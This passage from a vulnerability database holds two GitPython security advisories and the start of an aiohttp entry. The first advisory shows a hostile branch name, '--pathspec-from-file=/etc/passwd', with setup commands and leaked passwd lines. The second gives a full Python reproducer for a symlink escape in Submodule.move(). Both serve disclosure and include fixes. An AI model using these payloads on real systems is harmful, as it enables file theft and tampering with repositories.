config\n(`raw/06-push-accepts-refname.txt`), so the attacker does not need filesystem access to a server —\na `git push` is enough. That measurement, and the clone in `raw/02`, both use the `file://`\ntransport, which exercises the same git wire protocol as `https://`; I did not test against a\nhosted forge, since that would mean writing to a third party.\n\n### Why the leak reaches the caller\n\nThe file contents are in `CommandError.__str__`, not only in the `.stderr` attribute\n(`git/exc.py`):\n\n```python\n        self.stderr = stderr_decode and \"\\n  stderr: '%s'\" % stderr_decode or \"\"\n\n    def __str__(self) -> str:\n        return (self._msg + \"\\n  cmdline: %s%s%s\") % (\n            self._cmd, self._cause, self._cmdline, self.stdout, self.stderr,\n        )\n```\n\nSo `logging.exception(...)`, `print(e)`, or simply **not catching** the exception all disclose the\nfile. The developer does not have to know `.stderr` exists.\n\n### Full chain\n\n```\nRepo.clone_from(<attacker URL>)\n  ↓  remote HEAD points at refs/heads/--pathspec-from-file=/etc/passwd\n  ↓  git clone creates that LOCAL branch unasked\nrepo.active_branch                → Head with name = \"--pathspec-from-file=/etc/passwd\"\n  ↓\nHead.checkout()                   git/refs/head.py:286 — guard inspects kwargs only\n  ↓  self.repo.git.checkout(self, **kwargs)   git/refs/head.py:293 — no \"--\"\ngit checkout --pathspec-from-file=/etc/passwd\n  ↓  git emits one `error:` per unmatched pathspec — one per line of the file\nGitCommandError → CommandError.__str__ → the consumer\n```\n\n## Steps to Reproduce\n\nEnvironment: GitPython 3.1.62, git 2.55.0, Linux x86_64, disposable venv. Everything local —\ntemporary repositories and the `file://` transport. No remote hosts, no third-party repositories.\n\nThe bundled `poc.sh` runs all seven scenarios as a single unit and writes `poc.log` plus one file per\nscenario under `raw/`. Minimal manual reproduction:\n\n```bash\npython3 -m venv /tmp/gp && /tmp/gp/bin/python -m pip install gitpython==3.1.62\n\nW=$(mktemp -d)\ngit init -q -b main \"$W/a\"; echo x > \"$W/a/f.txt\"\ngit -C \"$W/a\" add f.txt\ngit -C \"$W/a\" -c user.email=a@b -c user.name=a commit -qm c\ngit clone -q --bare \"$W/a\" \"$W/a.git\"\nSHA=$(git -C \"$W/a.git\" rev-parse HEAD)\n\n# the attacker names their default branch after the file they want\ngit -C \"$W/a.git\" update-ref   'refs/heads/--pathspec-from-file=/etc/passwd' \"$SHA\"\ngit -C \"$W/a.git\" symbolic-ref HEAD 'refs/heads/--pathspec-from-file=/etc/passwd'\n\ncat > \"$W/consumer.py\" <<'PYEOF'\nimport logging, sys, git\nlogging.basicConfig(level=logging.INFO, format=\"%(message)s\")\ntry:\n    repo = git.Repo.clone_from(sys.argv[1], sys.argv[2])   # user-supplied URL\n    repo.active_branch.checkout()                          # ensure a clean working tree\nexcept git.exc.GitCommandError:\n    logging.exception(\"clone failed\")\nPYEOF\n\n/tmp/gp/bin/python \"$W/consumer.py\" \"file://$W/a.git\" \"$W/victim\"\n```\n\n### Raw Request\n\nThe real `git checkout` argv, captured by instrumenting `Git.execute` (`raw/01-real-argv.txt`).\nThis is the command GitPython actually built — the branch name became an option:\n\n```\n  argv real : ['git', 'checkout', '--pathspec-from-file=/tmp/gpargv-9im8ao2d/SECRET.txt']\n```\n\n### Raw Response\n\nObserved output (`raw/05-six-line-consumer.txt`, tail) — git emits one `error:` line per unmatched\npathspec, which is one per line of the target file:\n\n```\nerror: pathspec 'mysql:x:958:958:MariaDB:/var/lib/mysql:/usr/bin/nologin' did not match any file(s) known to git\nerror: pathspec 'flatpak:x:957:957:Flatpak system helper:/:/usr/bin/nologin' did not match any file(s) known to git\nerror: pathspec 'wazuh:x:956:955:Wazuh Agent:/var/ossec:/usr/sbin/nologin' did not match any file(s) known to git\nerror: pathspec 'jdownloader:x:955:954:jdownloader:/opt/JDownloader/:/bin/false' did not match any file(s) known to git\nerror: pathspec 'cups-browsed:x:953:953:CUPS printer discovery:/:/usr/bin/nologin' did not match any file(s) known to git'\n```\n\n`raw/03-full-file-disclosure.txt` counts the recovery against the real file:\n\n```\nArchivo objetivo: /etc/passwd  (34 lineas no vacias)\n[CASO] repo.active_branch.checkout()  — nadie paso un nombre de rama\n  repo.active_branch.name = '--pathspec-from-file=/etc/passwd'\n  -> GitCommandError. Lineas de /etc/passwd recuperadas: 34 de 34\n```\n\n## Impact\n\nAn attacker who can get an application to clone a repository they control reads any file the\napplication's process can read, with the contents returned in band. `/etc/passwd` was recovered in\nfull (34 of 34 lines) in the run recorded in `poc.log`.\n\nThe attacker needs **no account and no privilege in the consuming application**, and no\nconfiguration change anywhere: `allow_unsafe_options=False` is the default, and the vulnerable\nconsumer is six lines of ordinary code. This is the central use case of the library — CI systems,\nrepository importers, scanners and bots that clone user-supplied URLs.\n\n### Impact precondition\n\n**Holds if:** the consuming application clones a repository whose default branch name the attacker\nchose, and then calls `Head.checkout()` on it — most commonly as `repo.active_branch.checkout()`,\nwhich needs no branch-name input from the application at all.\n\n**Source writer:** the attacker, via the remote repository's `HEAD` and refs. Verified two ways —\n`git update-ref` + `symbolic-ref` on a bare repository, and `git push` to a plain git server, which\n`receive-pack` accepts without `--force` or special configuration\n(`raw/02-refname-accepted-and-cloned.txt`, `raw/06-push-accepts-refname.txt`). The application never\nwrites the branch name; `git clone` materialises it.\n\n**Observed in:** `validation/gitpython/head-checkout-positional-pathspec/` — GitPython 3.1.62\n(latest release) with git 2.55.0, in the single run recorded in `poc.log`\n(2026-09-10T02:10:23-03:00). File read: `/etc/passwd`, 34 of 34 lines recovered by the caller.\n\n\n### Limits, stated plainly\n\n- Only the full long spelling works, because a refname cannot contain a space and is therefore a\n  single argv token; `git` rejects the abbreviated forms. This was established while developing the\n  payload and is **not** part of the attached run — the run exercises the working spelling only.\n- The attacker must know an absolute path to the target file.\n- Lines are disclosed only when they do not match a path in the repository. With a one-file hostile\n  repository none of them do, so the attacker controls this condition too.\n- The full-file result was measured on **git 2.55.0**, where `git checkout` emits one `error:` per\n  unmatched pathspec. `GHSA-hh9p-6wh2-4mfc` notes that `--pathspec-from-file` alone quotes only the\n  first line — that holds for `git rm`, which aborts with `fatal:` on the first. It does not hold for\n  `git checkout` on 2.55.0.\n\n## Negative control\n\nFull statement of what each control isolates and what would invalidate it: `negative-controls.md`.\nEvery batch opens **and closes** with a positive control; if the closing one does not fire, the batch\nis discarded.\n\n**Positive control (opening and closing, 4 batches).** `Head.checkout(pathspec_from_file=\"/etc/passwd\")`\n— the same payload via kwargs. Fires in every batch:\n`UnsafeOptionError: --pathspec-from-file is not allowed, use allow_unsafe_options=True to allow it`.\nThis proves the guard exists, is active under the default, and recognises the option — so a null\nresult elsewhere cannot be the instrument failing to reach the code.\n\n**Negative control.** The identical call on a branch named `benigna`. One variable changes: the\nleading `-`. Result: `['git', 'checkout', 'benigna']`, no exception, 0 lines disclosed.\n\n**Precision control — the asymmetry inside one file** (`raw/04-precision-control-reset-vs-checkout.txt`).\nThe same payload against the two methods in `git/refs/head.py` that received the guard in the same\ncommit, 185 lines apart:\n\n```\n[CONTROL DE PRECISION] mismo archivo, mismo commit de fix, dos metodos\n  HEAD.reset(commit=PAYLOAD)  guard SI mira el posicional BLOQUEADO por el guard (--pathspec-from-file i fuga= 0 lineas  [OK]\n  Head.checkout()      guard NO mira el posicional     GitCommandError                                fuga=34 lineas  [OK]\n```\n\n`HEAD.reset` (`head.py:101`, `_option_candidates([commit], kwargs)`) blocks what `Head.checkout`\n(`head.py:286`, `_option_candidates([], kwargs)`) lets through. This rules out the alternative\nexplanation that any string containing `--pathspec-from-file` reaching git would disclose the file.\n\n## Remediation\n\nOne line, consistent with what `f2550b65` already did for `HEAD.reset` in this same file:\n\n```python\n                options=Git._option_candidates([self], kwargs),\n```\n\n**The other candidate was evaluated and rejected.** Writing\n`self.repo.git.checkout(\"--\", self, **kwargs)` would match the `--` pattern used elsewhere in the\nlibrary and would also cover future `git checkout` options — but it **changes the semantics and\nbreaks the method**: in `git checkout -- <arg>`, everything after `--` is a *pathspec*, not a branch.\nThe command would stop switching branches and start restoring files. The `--` pattern works for\n`fetch`/`pull`/`push`/`clone`/`archive`/`rm` because their positionals genuinely are non-branch\noperands; it does not transfer here.\n\nFor defence in depth, `Repo.create_head()` could reject branch names beginning with `-`, which would\nalso close the weaker `PR:L` path. That is a separate, optional change.\n\n## Prior art and de-duplication\n\nAll GitPython advisories in the GitHub database were reviewed —\n`gh api advisories -f ecosystem=pip -f affects=GitPython -f per_page=100 --paginate` returns **47**\n(the same command without `per_page` returns only the first page of 30). `Head.checkout` appears in\ntwo rows, one of which (`GHSA-w672-…`) is a withdrawn duplicate, leaving one substantive advisory:\n\n- **`GHSA-hh9p-6wh2-4mfc` / CVE-2026-76217** — same method, but the **kwargs** path\n  (`pathspec_from_file=…, pathspec_file_nul=True`), fixed in 3.1.58. That path is closed today; it is\n  the positive control in every batch of this report. The **positional** path is not covered by it.\n\nNeighbours, none overlapping:\n\n- **`GHSA-3wxw-xv34-2frg` / CVE-2026-78679** — the same **class** (positional bypasses a kwargs-only\n  guard) in a different method, `TagReference.create`, fixed in 3.1.59 by `1b0d2d9b`. That is the\n  patch that did not come back to `head.py:286`.\n- **`GHSA-956x-8gvw-wg5v` / CVE-2026-67323** — precedent for \"a value placed before the `--` with no\n  leading-dash check\", in `Repo.iter_commits` / `Repo.blame`. Those sites now pass their positional\n  to the guard; this one does not.\n- **`GHSA-7545-fcxq-7j24` / CVE-2026-44243** — path traversal via ref names in the reference APIs.\n  Different sink (filesystem path construction) and different impact (write and delete), but it\n  establishes that attacker-influenced ref names is a premise this project has already accepted.\n\n### No open fix proposal\n\nSearched across three surfaces, because `gh search issues` excludes pull requests: `gh search prs`,\n`gh search issues` and the raw `search/issues` API. **No open or closed issue or pull request\nproposes passing the positional to the guard in `Head.checkout`.** The three PRs that touch this\nguard (#2204, #2180, #2163) are all merged and none of them does it — #2204 is the PR that\nintroduced *both* call sites in this file, one checking its positional and one not. Full matrix in\n`dup-check.md`.\n\n### The project's own tests carry the same asymmetry\n\n`test/test_refs.py` exercises the guard for both methods, and covers exactly the difference this\nreport is about:\n\n- `HEAD.reset` — the **positional** is tested (lines 304-308).\n- `Head.checkout` — only the **kwargs** path is tested (lines 282-291).\n\nSo the positional variant is a case the suite already knows how to write; it just was not written\nfor `checkout`. The docstring added by #2204 to `Head.checkout` states that `--pathspec-from-file`\nrequires opt-in via `allow_unsafe_options` — which is precisely the guarantee the positional path\ndoes not deliver. Nothing in the project declares the positional acceptable here.\n\n### Why the one-line fix works, which is not obvious\n\n`Reference.__str__` returns `self.name`, not `self.path`. `Reference.name` strips the first two\npath components (`reference.py:122-132`), so a `Head` constructed on\n`refs/heads/--pathspec-from-file=/etc/passwd` passes `check_path` — the *path* does begin with\n`refs/heads/` — while `str()` yields the bare option. Passing `[self]` to `_option_candidates` makes\nthe guard see that same serialised string, which is why the one-line change closes it.\n\n## Evidence\n\n| File | What it establishes |\n|---|---|\n| `poc.sh` | driver — runs all seven scenarios as one unit |\n| `poc.log` | full transcript of the single reference run |\n| `raw/00-versions-and-source.txt` | version under test is the published one; guard and sink present; `def checkout(` appears once, so the sink line is unambiguous |\n| `raw/01-real-argv.txt` | real `git checkout` argv, captured by instrumenting `Git.execute` |\n| `raw/02-refname-accepted-and-cloned.txt` | git accepts the refname; `Repo.clone_from` materialises it unasked |\n| `raw/03-full-file-disclosure.txt` | 34 of 34 lines of `/etc/passwd` recovered |\n| `raw/04-precision-control-reset-vs-checkout.txt` | `HEAD.reset` blocks what `Head.checkout` allows |\n| `raw/05-six-line-consumer.txt` | six-line consumer, verbatim; leaks when the exception is logged and when it is uncaught |\n| `raw/06-push-accepts-refname.txt` | a plain git server accepts the refname over `push` |\n| `raw/07-blob-version-sweep.txt` | affected range by blob hash, tag by tag |\n| `negative-controls.md` | what each control isolates and what would invalidate it |\n| `evidence.sha256` | integrity of every raw file and script |\n\n## Disclosure\n\nReported privately through GitHub private vulnerability reporting. No third-party systems were\ntouched: every repository in this report is a temporary local one, and all transport is `file://`.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-23mf-xhv8-69c2"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/pull/2233"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/commit/8da65080849a56a2fc9f3e7817bbf0524e8397d5"},{"type":"PACKAGE","url":"https://github.com/gitpython-developers/GitPython"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.2.0"}]},{"schema_version":"1.7.3","id":"BREW-apm-CVE-2026-110860","published":"2026-10-29T21:30:32Z","modified":"2026-10-29T21:30:32Z","upstream":["GHSA-gq48-pqfc-9p58","CVE-2026-110860"],"affected":[{"package":{"ecosystem":"Homebrew","name":"apm","purl":"pkg:brew/apm"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.26.0"},{"fixed":"0.33.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.2.0","resource":"gitpython","resource_purl":"pkg:pypi/gitpython@3.2.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"gitpython","subject_version":"3.2.1","key":"pkg:pypi/gitpython@3.2.1","resource":"gitpython"}]},"summary":"GitPython: Submodule.move() follows an attacker-committed intermediate symlink outside the worktree","details":"## Summary\n\nGitPython's public `Submodule.move()` API verifies that its destination is lexically inside the parent repository, but it does not reject symbolic links in the destination's intermediate components before filesystem operations. On systems that check out Git symlinks, an untrusted repository can therefore redirect a fixed, application-selected move destination outside the parent worktree.\n\nThe reporter reproduced this on the latest release, GitPython 3.1.62, and current `main`. In the strict scenario, the repository commits `vendor -> ../outside`, while the consuming application independently passes the fixed literal `vendor/module`. `Submodule.move()` follows `vendor`, moves the initialized submodule checkout to `outside/module`, rewrites `.gitmodules` and the index to the symlinked path, and leaves the index unable to produce a tree.\n\nThe same result occurs when the committed symlink contains an absolute path to an external directory. No attacker-controlled API argument, local symlink planting, race, Git hook, unsafe-option flag, or network access during the proof is required.\n\n## Trust boundary and preconditions\n\nThe attacker controls:\n\n- an untrusted Git repository that the application clones;\n- a mode-`120000` tracked symlink named `vendor`;\n- the initialized submodule's content.\n\nThe consuming application controls the call and uses a fixed layout rule:\n\n```python\nsubmodule.move(\"vendor/module\")\n```\n\nThe trigger requires the application to initialize the submodule and later call `Submodule.move()` with a path below the attacker-committed symlink. Ordinary clone or submodule update does not automatically make this call. Windows was not tested. The primitive applies where Git materializes the tracked entry as a real symlink; on Windows that generally requires `core.symlinks=true` with Developer Mode or sufficient privilege. Configurations that materialize it as an ordinary file do not take this path.\n\n## Product and directly verified revisions\n\n- Package: `GitPython` (`pip` ecosystem)\n- Latest release: 3.1.62, tag commit `db47516dac750c5968b8f6d388b18712c355df50`\n- Current `main`: `b62e91be897f687a622e40cd1e59c33dce45f124`\n- Relevant `git/objects/submodule/base.py` SHA-256 in both revisions: `a4355d49e0b75c7c7e74d33ac70ff9550f940c977848c99da40eb41e034b189c`\n- Upstream state rechecked: 2026-09-10 KST\n\nOnly these two revisions were directly tested.\n\n## Severity and weakness\n\nThe demonstrated impact is an integrity boundary violation: repository content selects an existing directory outside the worktree, and GitPython moves an attacker-influenced checkout into a missing or empty child path there with the victim process's permissions. It also removes the original checkout and corrupts the parent repository's index/configuration state.\n\nFor a downstream service that remotely accepts repositories and performs this exact layout operation with user involvement retained, `AV:N` gives a conditional application-level score of 7.1. A fully automatic service may warrant a different `UI` assessment. The library report uses `AV:L` because the vulnerable API call is a separate application action and is not part of GitPython's ordinary clone/update flow.\n\nNo confidentiality impact, code execution, overwrite of an existing file, or overwrite of a non-empty directory was demonstrated.\n\n## Reproducer\n\nThe following script creates only temporary local repositories and a self-generated canary. It passes `protocol.file.allow=always` separately with `-c` on each fixture Git invocation; that permission is process-scoped and is not persisted to global or repository configuration.\n\nRun it from a fresh source checkout:\n\n```bash\ngit clone --depth 1 --branch 3.1.62 https://github.com/gitpython-developers/GitPython.git\npython3 poc.py /path/to/GitPython\npython3 poc.py --absolute-link /path/to/GitPython\n```\n\n`--absolute-link` commits the temporary external directory's absolute path instead of `../outside`.\n\n```python\n#!/usr/bin/env python3\n\"\"\"Local-only reproducer for GitPython Submodule.move() symlink traversal.\"\"\"\n\nfrom __future__ import annotations\n\nimport argparse\nimport json\nimport subprocess\nimport sys\nimport tempfile\nfrom pathlib import Path\nfrom typing import Optional\n\n\ndef run_git(\n    *args: str, cwd: Optional[Path] = None, check: bool = True\n) -> subprocess.CompletedProcess:\n    command = [\n        \"git\",\n        \"-c\",\n        \"user.name=GitPython security fixture\",\n        \"-c\",\n        \"user.email=fixture@example.invalid\",\n        \"-c\",\n        \"protocol.file.allow=always\",\n        *args,\n    ]\n    return subprocess.run(command, cwd=cwd, check=check, text=True, capture_output=True)\n\n\ndef read_core_worktree(parent) -> str:\n    module_config = Path(parent.git_dir) / \"modules\" / \"logical-name\" / \"config\"\n    return parent.git.config(\"--file\", str(module_config), \"--get\", \"core.worktree\")\n\n\ndef read_gitmodules_path(parent) -> str:\n    modules_file = Path(parent.working_tree_dir) / \".gitmodules\"\n    return parent.git.config(\n        \"--file\", str(modules_file), \"--get\", \"submodule.logical-name.path\"\n    )\n\n\ndef main() -> int:\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\"source_root\", type=Path, help=\"GitPython source checkout\")\n    parser.add_argument(\n        \"--absolute-link\",\n        action=\"store_true\",\n        help=(\n            \"Use the temporary external directory's absolute path as the committed \"\n            \"symlink target\"\n        ),\n    )\n    args = parser.parse_args()\n\n    source_root = args.source_root.resolve()\n    # The tested GitPython source trees include gitdb and smmap at their roots.\n    sys.path[:0] = [\n        str(source_root),\n        str(source_root / \"gitdb\"),\n        str(source_root / \"smmap\"),\n    ]\n    import gitdb  # pylint: disable=import-outside-toplevel\n    import smmap  # pylint: disable=import-outside-toplevel\n    from git import Repo  # pylint: disable=import-outside-toplevel\n\n    with tempfile.TemporaryDirectory(prefix=\"gitpython-move-poc-\") as temporary:\n        root = Path(temporary)\n        module_source = root / \"module-source\"\n        attacker = root / \"attacker-parent\"\n        victim = root / \"victim-parent\"\n        outside = root / \"outside\"\n\n        run_git(\"init\", \"--quiet\", str(module_source))\n        (module_source / \"SELF_GENERATED_CANARY.txt\").write_text(\n            \"SELF_GENERATED_CANARY\\n\", encoding=\"utf-8\"\n        )\n        run_git(\"add\", \"SELF_GENERATED_CANARY.txt\", cwd=module_source)\n        run_git(\"commit\", \"--quiet\", \"-m\", \"fixture\", cwd=module_source)\n\n        outside.mkdir()\n        run_git(\"init\", \"--quiet\", str(attacker))\n        run_git(\n            \"submodule\",\n            \"add\",\n            \"--quiet\",\n            \"--name\",\n            \"logical-name\",\n            str(module_source),\n            \"module\",\n            cwd=attacker,\n        )\n        link_target = str(outside.resolve()) if args.absolute_link else \"../outside\"\n        (attacker / \"vendor\").symlink_to(link_target, target_is_directory=True)\n        run_git(\"add\", \".gitmodules\", \"module\", \"vendor\", cwd=attacker)\n        run_git(\"commit\", \"--quiet\", \"-m\", \"attacker-controlled layout\", cwd=attacker)\n\n        run_git(\"clone\", \"--quiet\", str(attacker), str(victim))\n        run_git(\"submodule\", \"update\", \"--init\", \"--quiet\", cwd=victim)\n\n        parent = Repo(victim)\n        submodule = parent.submodule(\"logical-name\")\n        before = {\n            \"status\": parent.git.status(\"--porcelain\"),\n            \"write_tree\": parent.git.write_tree(),\n            \"vendor_index\": parent.git.ls_files(\"--stage\", \"vendor\"),\n            \"index_paths\": parent.git.ls_files().splitlines(),\n            \"gitmodules_path\": read_gitmodules_path(parent),\n            \"source_canary\": (victim / \"module\" / \"SELF_GENERATED_CANARY.txt\").exists(),\n            \"external_canary\": (\n                outside / \"module\" / \"SELF_GENERATED_CANARY.txt\"\n            ).exists(),\n            \"module_core_worktree\": read_core_worktree(parent),\n        }\n\n        error = None\n        try:\n            submodule.move(\n                \"vendor/module\"\n            )  # Fixed application value; attacker does not control it.\n        # Capture the exact type and text so a patched rejection remains visible.\n        except Exception as exception:\n            error = {\"type\": type(exception).__name__, \"message\": str(exception)}\n\n        write_tree = None\n        write_tree_error = None\n        try:\n            write_tree = parent.git.write_tree()\n        except Exception as exception:\n            write_tree_error = {\n                \"type\": type(exception).__name__,\n                \"message\": str(exception),\n            }\n\n        result = {\n            \"imported_modules\": {\n                \"git\": str(Path(sys.modules[\"git\"].__file__).resolve()),\n                \"gitdb\": str(Path(gitdb.__file__).resolve()),\n                \"smmap\": str(Path(smmap.__file__).resolve()),\n            },\n            \"committed_symlink_target\": link_target,\n            \"before\": before,\n            \"call_error\": error,\n            \"after\": {\n                \"status\": parent.git.status(\"--porcelain\"),\n                \"source_canary\": (\n                    victim / \"module\" / \"SELF_GENERATED_CANARY.txt\"\n                ).exists(),\n                \"external_canary\": (\n                    outside / \"module\" / \"SELF_GENERATED_CANARY.txt\"\n                ).exists(),\n                \"index_paths\": parent.git.ls_files().splitlines(),\n                \"gitmodules\": (victim / \".gitmodules\").read_text(encoding=\"utf-8\"),\n                \"gitmodules_path\": read_gitmodules_path(parent),\n                \"submodule_path\": submodule.path,\n                \"module_core_worktree\": read_core_worktree(parent),\n                \"write_tree\": write_tree,\n                \"write_tree_error\": write_tree_error,\n            },\n        }\n        print(json.dumps(result, indent=2, sort_keys=True))\n        parent.close()\n    return 0\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main())\n```\n\n## Observed result\n\nThe relative and absolute symlink variants produced the same security-relevant result on both directly tested revisions:\n\n| State | Before | After unpatched `move()` |\n| --- | --- | --- |\n| API result | not called | returns successfully |\n| Original checkout | `module/SELF_GENERATED_CANARY.txt` exists | checkout is gone |\n| External destination | `outside/module` absent | canary exists under `outside/module` |\n| Parent index | `.gitmodules`, `module`, `vendor` | `.gitmodules`, `vendor`, `vendor/module` |\n| `.gitmodules` path | `module` | `vendor/module` |\n| module `core.worktree` | `../../../module` | `../../../vendor/module` |\n| `git write-tree` | succeeds | fails |\n\nThe failure after the move is:\n\n```text\nYou have both vendor and vendor/module\nfatal: git-write-tree: error building trees\n```\n\nThe tracked attacker input is present in the clean clone before the call:\n\n```text\n120000 d09b80733baa4f6b198f2cf2d62bbfc5b6cbf1f0 0 vendor\n```\n\nWith the proposed patch, the same calls raise before mutation:\n\n```text\nValueError: Submodule checkout path 'vendor/module' contains a symbolic link\n```\n\nThe checkout, external directory, index, `.gitmodules`, and module configuration then remain unchanged, and `git write-tree` succeeds.\n\n## Root cause\n\n`Submodule._to_relative_path()` delegates to a helper that uses `abspath()`, `commonpath()`, and `relpath()` to enforce lexical containment. These operations normalize `..`, but they do not resolve or reject an existing intermediate symbolic link.\n\nThe relevant helper is `git.util._to_relative_path()`:\n\n```python\nroot_abs = osp.abspath(os.fspath(root))\npath_abs = osp.abspath(osp.join(root_abs, path_str))\ncommon_path = osp.commonpath([root_abs, path_abs])\nif common_path != root_abs:\n    raise ValueError(...)\nrelative_path = to_native_path_linux(osp.relpath(path_abs, root_abs))\n```\n\n`Submodule.move()` then joins the accepted relative path to the worktree and passes it to filesystem operations, including `os.listdir()` and `os.renames()`:\n\n```python\nmodule_checkout_path = self._to_relative_path(self.repo, module_path)\n...\nmodule_checkout_abspath = join_path_native(str(self.repo.working_tree_dir), module_checkout_path)\n...\nos.renames(cur_path, module_checkout_abspath)\n```\n\nThe operating system resolves `vendor/module` through the checked-out `vendor` link at that point.\n\nGitPython already applies the intended component check to the source checkout through `Submodule.abspath`: it walks every component and rejects `os.path.islink(path)`. The destination in `move()` does not use that guard.\n\n## Suggested fix\n\nThe proposed patch below factors the existing component walk into a shared checkout-path helper and applies it to the normalized move destination before any filesystem, index, or configuration mutation. It:\n\n- normalizes the destination exactly once;\n- preserves the existing early return for a no-op move;\n- rejects symbolic links in every intermediate destination component;\n- preserves existing final-component symlink behavior;\n- leaves `Submodule.abspath`'s all-component guard intact.\n\nThe final-component exception preserves current compatibility. The existing code first uses `isfile()` and `listdir()` to classify the link target, then uses `os.remove()` to unlink an empty-directory leaf symlink before moving the checkout. Tests confirm that an empty-directory leaf link is replaced while its target remains unchanged; non-empty-directory and file targets are rejected; a dangling leaf produces `OSError` without changing repository state. Because the pre-removal `isfile()`, `exists()`, and `listdir()` calls follow the leaf link, the existing behavior retains an existence/emptiness oracle for that external target; the proof demonstrates no write through the leaf link.\n\nThe component check closes the non-racing, attacker-committed symlink case reported here. It is not a claim of protection against a concurrent same-user process replacing a checked directory after validation; descriptor-relative traversal and rename would be needed if that separate race is in scope. Because `move()` is decorated with `@unbare_repo`, `working_tree_dir` should be present; the helper nevertheless changes an impossible or malformed `None` state from the previous `str(None)` path construction to an explicit `NotADirectoryError`.\n\n## Validation\n\nThe strict clean-clone proof was run with both relative and absolute committed symlink targets:\n\n| Revision | macOS ARM64 unpatched | Linux ARM64 unpatched | macOS patched | Linux patched |\n| --- | --- | --- | --- | --- |\n| 3.1.62 | escape reproduced | escape reproduced | rejected before mutation | rejected before mutation |\n| `main` `b62e91b` | escape reproduced | escape reproduced | rejected before mutation | rejected before mutation |\n\nBoth platforms were ARM64 on the same physical Mac; Linux ran in a local LinuxKit VM image. All runs used Python 3.14.7. The Linux runs used a local image by immutable SHA-256, with networking disabled, a read-only container root and source mount, and a temporary writable `/tmp`.\n\nPinned reproducer SHA-256: `513b6f32fc44cc74bee1ca8e81e8ed3f48ae89bfdc332dd6782886bfd1d6a79c`.\n\nThe documented shallow-clone command was also executed from a new temporary directory at 3.1.62. The reproducer resolved `git`, `gitdb`, and `smmap` from that checkout (`git/__init__.py`, `gitdb/gitdb/__init__.py`, and `smmap/smmap/__init__.py`) and reproduced the same external move. In that exact checkout, `git ls-tree HEAD gitdb smmap git/ext` reports ordinary mode-`040000` trees for root `gitdb` and `smmap`, no `.gitmodules` file exists, and `git submodule status --recursive` produces no entries. No recursive submodule checkout or preinstalled GitPython dependency was used for that bootstrap check. The evidence package includes both the raw local tree transcript and the matching official GitHub tree API entries.\n\nThe revised patch also passed 12 focused tests on each revision on each platform (48 test executions total). They cover:\n\n- relative and absolute ordinary moves from an external process working directory;\n- relative and absolute no-op ordering;\n- no-op compatibility when the stored path includes an existing symlink;\n- the unchanged `Submodule.abspath` leaf-link guard;\n- relative and absolute intermediate-link rejection before rename;\n- empty-directory, non-empty-directory, file, and dangling final-component link behavior.\n\nRuff 0.16.6 lint and format checks, Python compilation, patch application, and patched-file byte comparison passed for both revisions. GitPython's complete upstream test suite and mypy were not run against the patch; the test claim is limited to the focused matrix described above.\n\nAdditional saved controls on both revisions record rejection of `../` and absolute API destinations, preservation of existing files and non-empty directories, the final-component link behavior, and `RootModule.update()` rejecting the tested commit-to-commit symlinked path before its internal move. These controls are separate from the strict 16-run proof.\n\n## Impact limits and compatibility observations\n\n- An existing destination file and an existing non-empty destination directory are preserved and rejected.\n- A missing or empty leaf below an external symlink target can be populated.\n- `../` and an absolute API destination outside the worktree are already rejected; the bypass is filesystem resolution of a lexically in-tree path.\n- `RootModule.update()` rejects the tested commit-to-commit symlinked path before its internal `move()` call, so ordinary clone/update is not an automatic trigger.\n- The proof does not require or demonstrate a local race.\n- The directly demonstrated relative target is the practical repository-relative case. The absolute variant proves target-path scope using a temporary path known to the fixture; a remote attacker would instead need a predictable absolute directory on the victim.\n- The exact affected history before 3.1.62 has not been established.\n\n## AI assistance and credit\n\nThis report was prepared with AI assistance. The working proof was executed locally against both pinned revisions on macOS and Linux, and every reported state transition was checked against saved structured output. The proposed patch and focused tests were executed independently from the vulnerable proof.\n\nRequested credit: GitHub user `dpfkdlemtp`.","references":[{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-gq48-pqfc-9p58"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/pull/2232"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/commit/24b6f95d4b90ab1483fb601c736ac6e7c059cd61"},{"type":"PACKAGE","url":"https://github.com/gitpython-developers/GitPython"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.2.0"}]},{"schema_version":"1.7.3","id":"BREW-apm-CVE-2026-111063","published":"2026-10-22T08:48:52Z","modified":"2026-10-29T21:30:32Z","upstream":["GHSA-494j-54xm-rwp3","CVE-2026-111063"],"affected":[{"package":{"ecosystem":"Homebrew","name":"apm","purl":"pkg:brew/apm"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.26.0"},{"fixed":"0.34.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.14.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.5","key":"pkg:pypi/aiohttp@3.14.5","resource":"aiohttp"}]},"summary":"AIOHTTP: Secure attribute not enforced for shared cookie","details":"### Summary\n\nThe Secure attribute was not being enforced for the shared cookie.\n\n### Impact\n\nIt may be possible to send a shared cookie marked Secure through an unencrypted 